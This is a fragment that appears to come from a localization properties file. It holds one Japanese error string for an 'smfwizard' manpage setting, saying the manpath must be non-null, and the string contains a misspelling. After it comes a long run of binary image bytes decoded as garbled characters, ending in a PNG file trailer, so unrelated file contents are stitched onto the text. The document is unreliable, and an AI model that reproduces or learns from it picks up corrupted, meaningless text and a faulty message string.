smfwizard_manpage_manpath_error=* Manpathは非ヌルでなければなりたせん*
ß yôÊáœ~ŒorÀ5ÖJ™={þÁEÇêeŸu磝Qk®•á¯˜G{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚